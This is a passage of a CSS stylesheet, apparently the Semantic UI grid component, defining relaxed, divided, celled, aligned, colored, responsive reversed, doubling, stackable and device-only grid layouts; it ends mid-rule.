/*----------------------
        Relaxed
-----------------------*/

.ui.relaxed.grid > .column:not(.row),
.ui.relaxed.grid > .row > .column,
.ui.grid > .relaxed.row > .column {
  padding-left: 1.5rem;
  padding-right: 1.5rem;
}

.ui[class*="very relaxed"].grid > .column:not(.row),
.ui[class*="very relaxed"].grid > .row > .column,
.ui.grid > [class*="very relaxed"].row > .column {
  padding-left: 2.5rem;
  padding-right: 2.5rem;
}

/* Coupling with UI Divider */

.ui.relaxed.grid .row + .ui.divider,
.ui.grid .relaxed.row + .ui.divider {
  margin-left: 1.5rem;
  margin-right: 1.5rem;
}

.ui[class*="very relaxed"].grid .row + .ui.divider,
.ui.grid [class*="very relaxed"].row + .ui.divider {
  margin-left: 2.5rem;
  margin-right: 2.5rem;
}

/*----------------------
        Padded
-----------------------*/

.ui.padded.grid:not(.vertically):not(.horizontally) {
  margin: 0em !important;
}

[class*="horizontally padded"].ui.grid {
  margin-left: 0em !important;
  margin-right: 0em !important;
}

[class*="vertically padded"].ui.grid {
  margin-top: 0em !important;
  margin-bottom: 0em !important;
}

/*----------------------
       "Floated"
-----------------------*/

.ui.grid [class*="left floated"].column {
  margin-right: auto;
}

.ui.grid [class*="right floated"].column {
  margin-left: auto;
}

/*----------------------
        Divided
-----------------------*/

.ui.divided.grid:not([class*="vertically divided"]) > .column:not(.row),
.ui.divided.grid:not([class*="vertically divided"]) > .row > .column {
  box-shadow: -1px 0px 0px 0px rgba(34, 36, 38, 0.15);
}

/* Swap from padding to margin on columns to have dividers align */

.ui[class*="vertically divided"].grid > .column:not(.row),
.ui[class*="vertically divided"].grid > .row > .column {
  margin-top: 1rem;
  margin-bottom: 1rem;
  padding-top: 0rem;
  padding-bottom: 0rem;
}

.ui[class*="vertically divided"].grid > .row {
  margin-top: 0em;
  margin-bottom: 0em;
}

/* No divider on first column on row */

.ui.divided.grid:not([class*="vertically divided"]) > .column:first-child,
.ui.divided.grid:not([class*="vertically divided"]) > .row > .column:first-child {
  box-shadow: none;
}

/* No space on top of first row */

.ui[class*="vertically divided"].grid > .row:first-child > .column {
  margin-top: 0em;
}

/* Divided Row */

.ui.grid > .divided.row > .column {
  box-shadow: -1px 0px 0px 0px rgba(34, 36, 38, 0.15);
}

.ui.grid > .divided.row > .column:first-child {
  box-shadow: none;
}

/* Vertically Divided */

.ui[class*="vertically divided"].grid > .row {
  position: relative;
}

.ui[class*="vertically divided"].grid > .row:before {
  position: absolute;
  content: "";
  top: 0em;
  left: 0px;
  width: calc(100% -  2rem );
  height: 1px;
  margin: 0% 1rem;
  box-shadow: 0px -1px 0px 0px rgba(34, 36, 38, 0.15);
}

/* Padded Horizontally Divided */

[class*="horizontally padded"].ui.divided.grid,
.ui.padded.divided.grid:not(.vertically):not(.horizontally) {
  width: 100%;
}

/* First Row Vertically Divided */

.ui[class*="vertically divided"].grid > .row:first-child:before {
  box-shadow: none;
}

/* Inverted Divided */

.ui.inverted.divided.grid:not([class*="vertically divided"]) > .column:not(.row),
.ui.inverted.divided.grid:not([class*="vertically divided"]) > .row > .column {
  box-shadow: -1px 0px 0px 0px rgba(255, 255, 255, 0.1);
}

.ui.inverted.divided.grid:not([class*="vertically divided"]) > .column:not(.row):first-child,
.ui.inverted.divided.grid:not([class*="vertically divided"]) > .row > .column:first-child {
  box-shadow: none;
}

.ui.inverted[class*="vertically divided"].grid > .row:before {
  box-shadow: 0px -1px 0px 0px rgba(255, 255, 255, 0.1);
}

/* Relaxed */

.ui.relaxed[class*="vertically divided"].grid > .row:before {
  margin-left: 1.5rem;
  margin-right: 1.5rem;
  width: calc(100% -  3rem );
}

.ui[class*="very relaxed"][class*="vertically divided"].grid > .row:before {
  margin-left: 5rem;
  margin-right: 5rem;
  width: calc(100% -  5rem );
}

/*----------------------
         Celled
-----------------------*/

.ui.celled.grid {
  width: 100%;
  margin: 1em 0em;
  box-shadow: 0px 0px 0px 1px #D4D4D5;
}

.ui.celled.grid > .row {
  width: 100% !important;
  margin: 0em;
  padding: 0em;
  box-shadow: 0px -1px 0px 0px #D4D4D5;
}

.ui.celled.grid > .column:not(.row),
.ui.celled.grid > .row > .column {
  box-shadow: -1px 0px 0px 0px #D4D4D5;
}

.ui.celled.grid > .column:first-child,
.ui.celled.grid > .row > .column:first-child {
  box-shadow: none;
}

.ui.celled.grid > .column:not(.row),
.ui.celled.grid > .row > .column {
  padding: 1em;
}

.ui.relaxed.celled.grid > .column:not(.row),
.ui.relaxed.celled.grid > .row > .column {
  padding: 1.5em;
}

.ui[class*="very relaxed"].celled.grid > .column:not(.row),
.ui[class*="very relaxed"].celled.grid > .row > .column {
  padding: 2em;
}

/* Internally Celled */

.ui[class*="internally celled"].grid {
  box-shadow: none;
  margin: 0em;
}

.ui[class*="internally celled"].grid > .row:first-child {
  box-shadow: none;
}

.ui[class*="internally celled"].grid > .row > .column:first-child {
  box-shadow: none;
}

/*----------------------
   Vertically Aligned
-----------------------*/

/* Top Aligned */

.ui[class*="top aligned"].grid > .column:not(.row),
.ui[class*="top aligned"].grid > .row > .column,
.ui.grid > [class*="top aligned"].row > .column,
.ui.grid > [class*="top aligned"].column:not(.row),
.ui.grid > .row > [class*="top aligned"].column {
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -webkit-flex-direction: column;
  -ms-flex-direction: column;
  flex-direction: column;
  vertical-align: top;
  -webkit-align-self: flex-start !important;
  -ms-flex-item-align: start !important;
  align-self: flex-start !important;
}

/* Middle Aligned */

.ui[class*="middle aligned"].grid > .column:not(.row),
.ui[class*="middle aligned"].grid > .row > .column,
.ui.grid > [class*="middle aligned"].row > .column,
.ui.grid > [class*="middle aligned"].column:not(.row),
.ui.grid > .row > [class*="middle aligned"].column {
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -webkit-flex-direction: column;
  -ms-flex-direction: column;
  flex-direction: column;
  vertical-align: middle;
  -webkit-align-self: center !important;
  -ms-flex-item-align: center !important;
  align-self: center !important;
}

/* Bottom Aligned */

.ui[class*="bottom aligned"].grid > .column:not(.row),
.ui[class*="bottom aligned"].grid > .row > .column,
.ui.grid > [class*="bottom aligned"].row > .column,
.ui.grid > [class*="bottom aligned"].column:not(.row),
.ui.grid > .row > [class*="bottom aligned"].column {
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -webkit-flex-direction: column;
  -ms-flex-direction: column;
  flex-direction: column;
  vertical-align: bottom;
  -webkit-align-self: flex-end !important;
  -ms-flex-item-align: end !important;
  align-self: flex-end !important;
}

/* Stretched */

.ui.stretched.grid > .row > .column,
.ui.stretched.grid > .column,
.ui.grid > .stretched.row > .column,
.ui.grid > .stretched.column:not(.row),
.ui.grid > .row > .stretched.column {
  display: -webkit-inline-box !important;
  display: -webkit-inline-flex !important;
  display: -ms-inline-flexbox !important;
  display: inline-flex !important;
  -webkit-align-self: stretch;
  -ms-flex-item-align: stretch;
  align-self: stretch;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -webkit-flex-direction: column;
  -ms-flex-direction: column;
  flex-direction: column;
}

.ui.stretched.grid > .row > .column > *,
.ui.stretched.grid > .column > *,
.ui.grid > .stretched.row > .column > *,
.ui.grid > .stretched.column:not(.row) > *,
.ui.grid > .row > .stretched.column > * {
  -webkit-box-flex: 1;
  -webkit-flex-grow: 1;
  -ms-flex-positive: 1;
  flex-grow: 1;
}

/*----------------------
  Horizontally Centered
-----------------------*/

/* Left Aligned */

.ui[class*="left aligned"].grid > .column,
.ui[class*="left aligned"].grid > .row > .column,
.ui.grid > [class*="left aligned"].row > .column,
.ui.grid > [class*="left aligned"].column.column,
.ui.grid > .row > [class*="left aligned"].column.column {
  text-align: left;
  -webkit-align-self: inherit;
  -ms-flex-item-align: inherit;
  align-self: inherit;
}

/* Center Aligned */

.ui[class*="center aligned"].grid > .column,
.ui[class*="center aligned"].grid > .row > .column,
.ui.grid > [class*="center aligned"].row > .column,
.ui.grid > [class*="center aligned"].column.column,
.ui.grid > .row > [class*="center aligned"].column.column {
  text-align: center;
  -webkit-align-self: inherit;
  -ms-flex-item-align: inherit;
  align-self: inherit;
}

.ui[class*="center aligned"].grid {
  -webkit-box-pack: center;
  -webkit-justify-content: center;
  -ms-flex-pack: center;
  justify-content: center;
}

/* Right Aligned */

.ui[class*="right aligned"].grid > .column,
.ui[class*="right aligned"].grid > .row > .column,
.ui.grid > [class*="right aligned"].row > .column,
.ui.grid > [class*="right aligned"].column.column,
.ui.grid > .row > [class*="right aligned"].column.column {
  text-align: right;
  -webkit-align-self: inherit;
  -ms-flex-item-align: inherit;
  align-self: inherit;
}

/* Justified */

.ui.justified.grid > .column,
.ui.justified.grid > .row > .column,
.ui.grid > .justified.row > .column,
.ui.grid > .justified.column.column,
.ui.grid > .row > .justified.column.column {
  text-align: justify;
  -webkit-hyphens: auto;
  -moz-hyphens: auto;
  -ms-hyphens: auto;
  hyphens: auto;
}

/*----------------------
         Colored
-----------------------*/

.ui.grid > .row > .red.column,
.ui.grid > .row > .orange.column,
.ui.grid > .row > .yellow.column,
.ui.grid > .row > .olive.column,
.ui.grid > .row > .green.column,
.ui.grid > .row > .teal.column,
.ui.grid > .row > .blue.column,
.ui.grid > .row > .violet.column,
.ui.grid > .row > .purple.column,
.ui.grid > .row > .pink.column,
.ui.grid > .row > .brown.column,
.ui.grid > .row > .grey.column,
.ui.grid > .row > .black.column {
  margin-top: -1rem;
  margin-bottom: -1rem;
  padding-top: 1rem;
  padding-bottom: 1rem;
}

/* Red */

.ui.grid > .red.row,
.ui.grid > .red.column,
.ui.grid > .row > .red.column {
  background-color: #DB2828 !important;
  color: #FFFFFF;
}

/* Orange */

.ui.grid > .orange.row,
.ui.grid > .orange.column,
.ui.grid > .row > .orange.column {
  background-color: #F2711C !important;
  color: #FFFFFF;
}

/* Yellow */

.ui.grid > .yellow.row,
.ui.grid > .yellow.column,
.ui.grid > .row > .yellow.column {
  background-color: #FBBD08 !important;
  color: #FFFFFF;
}

/* Olive */

.ui.grid > .olive.row,
.ui.grid > .olive.column,
.ui.grid > .row > .olive.column {
  background-color: #B5CC18 !important;
  color: #FFFFFF;
}

/* Green */

.ui.grid > .green.row,
.ui.grid > .green.column,
.ui.grid > .row > .green.column {
  background-color: #21BA45 !important;
  color: #FFFFFF;
}

/* Teal */

.ui.grid > .teal.row,
.ui.grid > .teal.column,
.ui.grid > .row > .teal.column {
  background-color: #00B5AD !important;
  color: #FFFFFF;
}

/* Blue */

.ui.grid > .blue.row,
.ui.grid > .blue.column,
.ui.grid > .row > .blue.column {
  background-color: #2185D0 !important;
  color: #FFFFFF;
}

/* Violet */

.ui.grid > .violet.row,
.ui.grid > .violet.column,
.ui.grid > .row > .violet.column {
  background-color: #6435C9 !important;
  color: #FFFFFF;
}

/* Purple */

.ui.grid > .purple.row,
.ui.grid > .purple.column,
.ui.grid > .row > .purple.column {
  background-color: #A333C8 !important;
  color: #FFFFFF;
}

/* Pink */

.ui.grid > .pink.row,
.ui.grid > .pink.column,
.ui.grid > .row > .pink.column {
  background-color: #E03997 !important;
  color: #FFFFFF;
}

/* Brown */

.ui.grid > .brown.row,
.ui.grid > .brown.column,
.ui.grid > .row > .brown.column {
  background-color: #A5673F !important;
  color: #FFFFFF;
}

/* Grey */

.ui.grid > .grey.row,
.ui.grid > .grey.column,
.ui.grid > .row > .grey.column {
  background-color: #767676 !important;
  color: #FFFFFF;
}

/* Black */

.ui.grid > .black.row,
.ui.grid > .black.column,
.ui.grid > .row > .black.column {
  background-color: #1B1C1D !important;
  color: #FFFFFF;
}

/*----------------------
      Equal Width
-----------------------*/

.ui[class*="equal width"].grid > .column:not(.row),
.ui[class*="equal width"].grid > .row > .column,
.ui.grid > [class*="equal width"].row > .column {
  display: inline-block;
  -webkit-box-flex: 1;
  -webkit-flex-grow: 1;
  -ms-flex-positive: 1;
  flex-grow: 1;
}

.ui[class*="equal width"].grid > .wide.column,
.ui[class*="equal width"].grid > .row > .wide.column,
.ui.grid > [class*="equal width"].row > .wide.column {
  -webkit-box-flex: 0;
  -webkit-flex-grow: 0;
  -ms-flex-positive: 0;
  flex-grow: 0;
}

/*----------------------
        Reverse
-----------------------*/

/* Mobile */

@media only screen and (max-width: 767px) {
  .ui[class*="mobile reversed"].grid,
  .ui[class*="mobile reversed"].grid > .row,
  .ui.grid > [class*="mobile reversed"].row {
    -webkit-box-orient: horizontal;
    -webkit-box-direction: reverse;
    -webkit-flex-direction: row-reverse;
    -ms-flex-direction: row-reverse;
    flex-direction: row-reverse;
  }

  .ui[class*="mobile vertically reversed"].grid,
  .ui.stackable[class*="mobile reversed"] {
    -webkit-box-orient: vertical;
    -webkit-box-direction: reverse;
    -webkit-flex-direction: column-reverse;
    -ms-flex-direction: column-reverse;
    flex-direction: column-reverse;
  }

  /* Divided Reversed */

  .ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"]) > .column:first-child,
  .ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"]) > .row > .column:first-child {
    box-shadow: -1px 0px 0px 0px rgba(34, 36, 38, 0.15);
  }

  .ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"]) > .column:last-child,
  .ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"]) > .row > .column:last-child {
    box-shadow: none;
  }

  /* Vertically Divided Reversed */

  .ui.grid[class*="vertically divided"][class*="mobile vertically reversed"] > .row:first-child:before {
    box-shadow: 0px -1px 0px 0px rgba(34, 36, 38, 0.15);
  }

  .ui.grid[class*="vertically divided"][class*="mobile vertically reversed"] > .row:last-child:before {
    box-shadow: none;
  }

  /* Celled Reversed */

  .ui[class*="mobile reversed"].celled.grid > .row > .column:first-child {
    box-shadow: -1px 0px 0px 0px #D4D4D5;
  }

  .ui[class*="mobile reversed"].celled.grid > .row > .column:last-child {
    box-shadow: none;
  }
}

/* Tablet */

@media only screen and (min-width: 768px) and (max-width: 991px) {
  .ui[class*="tablet reversed"].grid,
  .ui[class*="tablet reversed"].grid > .row,
  .ui.grid > [class*="tablet reversed"].row {
    -webkit-box-orient: horizontal;
    -webkit-box-direction: reverse;
    -webkit-flex-direction: row-reverse;
    -ms-flex-direction: row-reverse;
    flex-direction: row-reverse;
  }

  .ui[class*="tablet vertically reversed"].grid {
    -webkit-box-orient: vertical;
    -webkit-box-direction: reverse;
    -webkit-flex-direction: column-reverse;
    -ms-flex-direction: column-reverse;
    flex-direction: column-reverse;
  }

  /* Divided Reversed */

  .ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"]) > .column:first-child,
  .ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"]) > .row > .column:first-child {
    box-shadow: -1px 0px 0px 0px rgba(34, 36, 38, 0.15);
  }

  .ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"]) > .column:last-child,
  .ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"]) > .row > .column:last-child {
    box-shadow: none;
  }

  /* Vertically Divided Reversed */

  .ui.grid[class*="vertically divided"][class*="tablet vertically reversed"] > .row:first-child:before {
    box-shadow: 0px -1px 0px 0px rgba(34, 36, 38, 0.15);
  }

  .ui.grid[class*="vertically divided"][class*="tablet vertically reversed"] > .row:last-child:before {
    box-shadow: none;
  }

  /* Celled Reversed */

  .ui[class*="tablet reversed"].celled.grid > .row > .column:first-child {
    box-shadow: -1px 0px 0px 0px #D4D4D5;
  }

  .ui[class*="tablet reversed"].celled.grid > .row > .column:last-child {
    box-shadow: none;
  }
}

/* Computer */

@media only screen and (min-width: 992px) {
  .ui[class*="computer reversed"].grid,
  .ui[class*="computer reversed"].grid > .row,
  .ui.grid > [class*="computer reversed"].row {
    -webkit-box-orient: horizontal;
    -webkit-box-direction: reverse;
    -webkit-flex-direction: row-reverse;
    -ms-flex-direction: row-reverse;
    flex-direction: row-reverse;
  }

  .ui[class*="computer vertically reversed"].grid {
    -webkit-box-orient: vertical;
    -webkit-box-direction: reverse;
    -webkit-flex-direction: column-reverse;
    -ms-flex-direction: column-reverse;
    flex-direction: column-reverse;
  }

  /* Divided Reversed */

  .ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"]) > .column:first-child,
  .ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"]) > .row > .column:first-child {
    box-shadow: -1px 0px 0px 0px rgba(34, 36, 38, 0.15);
  }

  .ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"]) > .column:last-child,
  .ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"]) > .row > .column:last-child {
    box-shadow: none;
  }

  /* Vertically Divided Reversed */

  .ui.grid[class*="vertically divided"][class*="computer vertically reversed"] > .row:first-child:before {
    box-shadow: 0px -1px 0px 0px rgba(34, 36, 38, 0.15);
  }

  .ui.grid[class*="vertically divided"][class*="computer vertically reversed"] > .row:last-child:before {
    box-shadow: none;
  }

  /* Celled Reversed */

  .ui[class*="computer reversed"].celled.grid > .row > .column:first-child {
    box-shadow: -1px 0px 0px 0px #D4D4D5;
  }

  .ui[class*="computer reversed"].celled.grid > .row > .column:last-child {
    box-shadow: none;
  }
}

/*-------------------
      Doubling
--------------------*/

/* Tablet Only */

@media only screen and (min-width: 768px) and (max-width: 991px) {
  .ui.doubling.grid {
    width: auto;
  }

  .ui.grid > .doubling.row,
  .ui.doubling.grid > .row {
    margin: 0em !important;
    padding: 0em !important;
  }

  .ui.grid > .doubling.row > .column,
  .ui.doubling.grid > .row > .column {
    display: inline-block !important;
    padding-top: 1rem !important;
    padding-bottom: 1rem !important;
    box-shadow: none !important;
    margin: 0em;
  }

  .ui[class*="two column"].doubling.grid > .row > .column,
  .ui[class*="two column"].doubling.grid > .column:not(.row),
  .ui.grid > [class*="two column"].doubling.row.row > .column {
    width: 100% !important;
  }

  .ui[class*="three column"].doubling.grid > .row > .column,
  .ui[class*="three column"].doubling.grid > .column:not(.row),
  .ui.grid > [class*="three column"].doubling.row.row > .column {
    width: 50% !important;
  }

  .ui[class*="four column"].doubling.grid > .row > .column,
  .ui[class*="four column"].doubling.grid > .column:not(.row),
  .ui.grid > [class*="four column"].doubling.row.row > .column {
    width: 50% !important;
  }

  .ui[class*="five column"].doubling.grid > .row > .column,
  .ui[class*="five column"].doubling.grid > .column:not(.row),
  .ui.grid > [class*="five column"].doubling.row.row > .column {
    width: 33.33333333% !important;
  }

  .ui[class*="six column"].doubling.grid > .row > .column,
  .ui[class*="six column"].doubling.grid > .column:not(.row),
  .ui.grid > [class*="six column"].doubling.row.row > .column {
    width: 33.33333333% !important;
  }

  .ui[class*="seven column"].doubling.grid > .row > .column,
  .ui[class*="seven column"].doubling.grid > .column:not(.row),
  .ui.grid > [class*="seven column"].doubling.row.row > .column {
    width: 33.33333333% !important;
  }

  .ui[class*="eight column"].doubling.grid > .row > .column,
  .ui[class*="eight column"].doubling.grid > .column:not(.row),
  .ui.grid > [class*="eight column"].doubling.row.row > .column {
    width: 25% !important;
  }

  .ui[class*="nine column"].doubling.grid > .row > .column,
  .ui[class*="nine column"].doubling.grid > .column:not(.row),
  .ui.grid > [class*="nine column"].doubling.row.row > .column {
    width: 25% !important;
  }

  .ui[class*="ten column"].doubling.grid > .row > .column,
  .ui[class*="ten column"].doubling.grid > .column:not(.row),
  .ui.grid > [class*="ten column"].doubling.row.row > .column {
    width: 20% !important;
  }

  .ui[class*="eleven column"].doubling.grid > .row > .column,
  .ui[class*="eleven column"].doubling.grid > .column:not(.row),
  .ui.grid > [class*="eleven column"].doubling.row.row > .column {
    width: 20% !important;
  }

  .ui[class*="twelve column"].doubling.grid > .row > .column,
  .ui[class*="twelve column"].doubling.grid > .column:not(.row),
  .ui.grid > [class*="twelve column"].doubling.row.row > .column {
    width: 16.66666667% !important;
  }

  .ui[class*="thirteen column"].doubling.grid > .row > .column,
  .ui[class*="thirteen column"].doubling.grid > .column:not(.row),
  .ui.grid > [class*="thirteen column"].doubling.row.row > .column {
    width: 16.66666667% !important;
  }

  .ui[class*="fourteen column"].doubling.grid > .row > .column,
  .ui[class*="fourteen column"].doubling.grid > .column:not(.row),
  .ui.grid > [class*="fourteen column"].doubling.row.row > .column {
    width: 14.28571429% !important;
  }

  .ui[class*="fifteen column"].doubling.grid > .row > .column,
  .ui[class*="fifteen column"].doubling.grid > .column:not(.row),
  .ui.grid > [class*="fifteen column"].doubling.row.row > .column {
    width: 14.28571429% !important;
  }

  .ui[class*="sixteen column"].doubling.grid > .row > .column,
  .ui[class*="sixteen column"].doubling.grid > .column:not(.row),
  .ui.grid > [class*="sixteen column"].doubling.row.row > .column {
    width: 12.5% !important;
  }
}

/* Mobile Only */

@media only screen and (max-width: 767px) {
  .ui.grid > .doubling.row,
  .ui.doubling.grid > .row {
    margin: 0em !important;
    padding: 0em !important;
  }

  .ui.grid > .doubling.row > .column,
  .ui.doubling.grid > .row > .column {
    padding-top: 1rem !important;
    padding-bottom: 1rem !important;
    margin: 0em !important;
    box-shadow: none !important;
  }

  .ui[class*="two column"].doubling:not(.stackable).grid > .row > .column,
  .ui[class*="two column"].doubling:not(.stackable).grid > .column:not(.row),
  .ui.grid > [class*="two column"].doubling:not(.stackable).row.row > .column {
    width: 100% !important;
  }

  .ui[class*="three column"].doubling:not(.stackable).grid > .row > .column,
  .ui[class*="three column"].doubling:not(.stackable).grid > .column:not(.row),
  .ui.grid > [class*="three column"].doubling:not(.stackable).row.row > .column {
    width: 50% !important;
  }

  .ui[class*="four column"].doubling:not(.stackable).grid > .row > .column,
  .ui[class*="four column"].doubling:not(.stackable).grid > .column:not(.row),
  .ui.grid > [class*="four column"].doubling:not(.stackable).row.row > .column {
    width: 50% !important;
  }

  .ui[class*="five column"].doubling:not(.stackable).grid > .row > .column,
  .ui[class*="five column"].doubling:not(.stackable).grid > .column:not(.row),
  .ui.grid > [class*="five column"].doubling:not(.stackable).row.row > .column {
    width: 50% !important;
  }

  .ui[class*="six column"].doubling:not(.stackable).grid > .row > .column,
  .ui[class*="six column"].doubling:not(.stackable).grid > .column:not(.row),
  .ui.grid > [class*="six column"].doubling:not(.stackable).row.row > .column {
    width: 50% !important;
  }

  .ui[class*="seven column"].doubling:not(.stackable).grid > .row > .column,
  .ui[class*="seven column"].doubling:not(.stackable).grid > .column:not(.row),
  .ui.grid > [class*="seven column"].doubling:not(.stackable).row.row > .column {
    width: 50% !important;
  }

  .ui[class*="eight column"].doubling:not(.stackable).grid > .row > .column,
  .ui[class*="eight column"].doubling:not(.stackable).grid > .column:not(.row),
  .ui.grid > [class*="eight column"].doubling:not(.stackable).row.row > .column {
    width: 50% !important;
  }

  .ui[class*="nine column"].doubling:not(.stackable).grid > .row > .column,
  .ui[class*="nine column"].doubling:not(.stackable).grid > .column:not(.row),
  .ui.grid > [class*="nine column"].doubling:not(.stackable).row.row > .column {
    width: 33.33333333% !important;
  }

  .ui[class*="ten column"].doubling:not(.stackable).grid > .row > .column,
  .ui[class*="ten column"].doubling:not(.stackable).grid > .column:not(.row),
  .ui.grid > [class*="ten column"].doubling:not(.stackable).row.row > .column {
    width: 33.33333333% !important;
  }

  .ui[class*="eleven column"].doubling:not(.stackable).grid > .row > .column,
  .ui[class*="eleven column"].doubling:not(.stackable).grid > .column:not(.row),
  .ui.grid > [class*="eleven column"].doubling:not(.stackable).row.row > .column {
    width: 33.33333333% !important;
  }

  .ui[class*="twelve column"].doubling:not(.stackable).grid > .row > .column,
  .ui[class*="twelve column"].doubling:not(.stackable).grid > .column:not(.row),
  .ui.grid > [class*="twelve column"].doubling:not(.stackable).row.row > .column {
    width: 33.33333333% !important;
  }

  .ui[class*="thirteen column"].doubling:not(.stackable).grid > .row > .column,
  .ui[class*="thirteen column"].doubling:not(.stackable).grid > .column:not(.row),
  .ui.grid > [class*="thirteen column"].doubling:not(.stackable).row.row > .column {
    width: 33.33333333% !important;
  }

  .ui[class*="fourteen column"].doubling:not(.stackable).grid > .row > .column,
  .ui[class*="fourteen column"].doubling:not(.stackable).grid > .column:not(.row),
  .ui.grid > [class*="fourteen column"].doubling:not(.stackable).row.row > .column {
    width: 25% !important;
  }

  .ui[class*="fifteen column"].doubling:not(.stackable).grid > .row > .column,
  .ui[class*="fifteen column"].doubling:not(.stackable).grid > .column:not(.row),
  .ui.grid > [class*="fifteen column"].doubling:not(.stackable).row.row > .column {
    width: 25% !important;
  }

  .ui[class*="sixteen column"].doubling:not(.stackable).grid > .row > .column,
  .ui[class*="sixteen column"].doubling:not(.stackable).grid > .column:not(.row),
  .ui.grid > [class*="sixteen column"].doubling:not(.stackable).row.row > .column {
    width: 25% !important;
  }
}

/*-------------------
      Stackable
--------------------*/

@media only screen and (max-width: 767px) {
  .ui.stackable.grid {
    width: auto;
    margin-left: 0em !important;
    margin-right: 0em !important;
  }

  .ui.stackable.grid > .row > .wide.column,
  .ui.stackable.grid > .wide.column,
  .ui.stackable.grid > .column.grid > .column,
  .ui.stackable.grid > .column.row > .column,
  .ui.stackable.grid > .row > .column,
  .ui.stackable.grid > .column:not(.row),
  .ui.grid > .stackable.stackable.row > .column {
    width: 100% !important;
    margin: 0em 0em !important;
    box-shadow: none !important;
    padding: 1rem 1rem !important;
  }

  .ui.stackable.grid:not(.vertically) > .row {
    margin: 0em;
    padding: 0em;
  }

  /* Coupling */

  .ui.container > .ui.stackable.grid > .column,
  .ui.container > .ui.stackable.grid > .row > .column {
    padding-left: 0em !important;
    padding-right: 0em !important;
  }

  /* Don't pad inside segment or nested grid */

  .ui.grid .ui.stackable.grid,
  .ui.segment:not(.vertical) .ui.stackable.page.grid {
    margin-left: -1rem !important;
    margin-right: -1rem !important;
  }

  /* Divided Stackable */

  .ui.stackable.divided.grid > .row:first-child > .column:first-child,
  .ui.stackable.celled.grid > .row:first-child > .column:first-child,
  .ui.stackable.divided.grid > .column:not(.row):first-child,
  .ui.stackable.celled.grid > .column:not(.row):first-child {
    border-top: none !important;
  }

  .ui.inverted.stackable.celled.grid > .column:not(.row),
  .ui.inverted.stackable.divided.grid > .column:not(.row),
  .ui.inverted.stackable.celled.grid > .row > .column,
  .ui.inverted.stackable.divided.grid > .row > .column {
    border-top: 1px solid rgba(255, 255, 255, 0.1);
  }

  .ui.stackable.celled.grid > .column:not(.row),
  .ui.stackable.divided:not(.vertically).grid > .column:not(.row),
  .ui.stackable.celled.grid > .row > .column,
  .ui.stackable.divided:not(.vertically).grid > .row > .column {
    border-top: 1px solid rgba(34, 36, 38, 0.15);
    box-shadow: none !important;
    padding-top: 2rem !important;
    padding-bottom: 2rem !important;
  }

  .ui.stackable.celled.grid > .row {
    box-shadow: none !important;
  }

  .ui.stackable.divided:not(.vertically).grid > .column:not(.row),
  .ui.stackable.divided:not(.vertically).grid > .row > .column {
    padding-left: 0em !important;
    padding-right: 0em !important;
  }
}

/*----------------------
     Only (Device)
-----------------------*/

/* These include arbitrary class repetitions for forced specificity */

/* Mobile Only Hide */

@media only screen and (max-width: 767px) {
  .ui[class*="tablet only"].grid.grid.grid:not(.mobile),
  .ui.grid.grid.grid > [class*="tablet only"].row:not(.mobile),
  .ui.grid.grid.grid > [class*="tablet only"].column:not(.mobile),
  .ui.grid.grid.grid > .row > [class*="tablet only"].column:not(.mobile) {
    display: none !important;
  }

  .ui[class*="computer only"].grid.grid.grid:not(.mobile),
  .ui.grid.grid.grid > [class*="computer only"].row:not(.mobile),
  .ui.grid.grid.grid > [class*="computer only"].column:not(.mobile),
  .ui.grid.grid.grid > .row > [class*="computer only"].column:not(.mobile) {
    display: none !important;
  }

  .ui[class*="large screen only"].grid.grid.grid:not(.mobile),
  .ui.grid.grid.grid > [class*="large screen only"].row:not(.mobile),
  .ui.grid.grid.grid > [class*="large screen only"].column:not(.mobile),
  .ui.grid.grid.grid > .row > [class*="large screen only"].column:not(.mobile) {
    display: none !important;
  }

  .ui[class*="widescreen only"].grid.grid.grid:not(.mobile),
  .ui.grid.grid.grid > [class*="widescreen only"].row:not(.mobile),
  .ui.grid.grid.grid > [class*="widescreen only"].column:not(.mobile),
  .ui.grid.grid.grid > .row > [class*="widescreen only"].column:not(.mobile) {
    display: none !important;
  }
}

/* Tablet Only Hide */

@media only screen and (min-width: 768px) and (max-width: 991px) {
  .ui[class*="mobile only"].grid.grid.grid:not(.tablet),
  .ui.grid.grid.grid > [class*="mobile only"].row:not(.tablet),
  .ui.grid.grid.grid > [class*="mobile only"].column:not(.tablet),
  .ui.grid.grid.grid > .row > [class*="mobile only"].column:not(.tablet) {
    display: none !important;
  }

  .ui[class*="computer only"].grid.grid.grid:not(.tablet),
  .ui.grid.grid.grid > [class*="computer only"].row:not(.tablet),
  .ui.grid.grid.grid > [class*="computer only"].column:not(.tablet),
  .ui.grid.grid.grid > .row > [class*="computer only"].column:not(.tablet) {
    display: none !important;
  }

  .ui[class*="large screen only"].grid.grid.grid:not(.mobile),
  .ui.grid.grid.grid > [class*="large screen only"].row:not(.mobile),
  .ui.grid.grid.grid > [class*="large screen only"].column:not(.mobile),
  .ui.grid.grid.grid > .row > [class*="large screen only"].column:not(.mobile) {
    display: none !important;
  }

  .ui[class*="widescreen only"].grid.grid.grid:not(.mobile),
  .ui.grid.grid.grid > [class*="widescreen only"].row:not(.mobile),
  .ui.grid.grid.grid > [class*="widescreen only"].column:not(.mobile),
  .ui.grid.grid.grid > .row > [class*="widescreen only"].column:not(.mobile) {
    display: none !important;
  }
}

/* Computer Only Hide */

@media only screen and (min-width: 992px) and (max-width: 1199px) {
  .ui[class*="mobile only"].grid.grid.grid:not(.computer),
  .ui.grid.grid.grid > [class*="mobile only"].row:not(.computer),
  .ui.grid.grid.grid > [class*="mobile only"].column:not(.computer),
  .ui.grid.grid.grid > .row > [class*="mobile only"].column:not(.computer) {
    display: none !important;
  }

  .ui[class*="tablet only"].grid.grid.grid:not(.computer),
  .ui.grid.grid.grid > [class*="tablet only"].row:not(.computer),
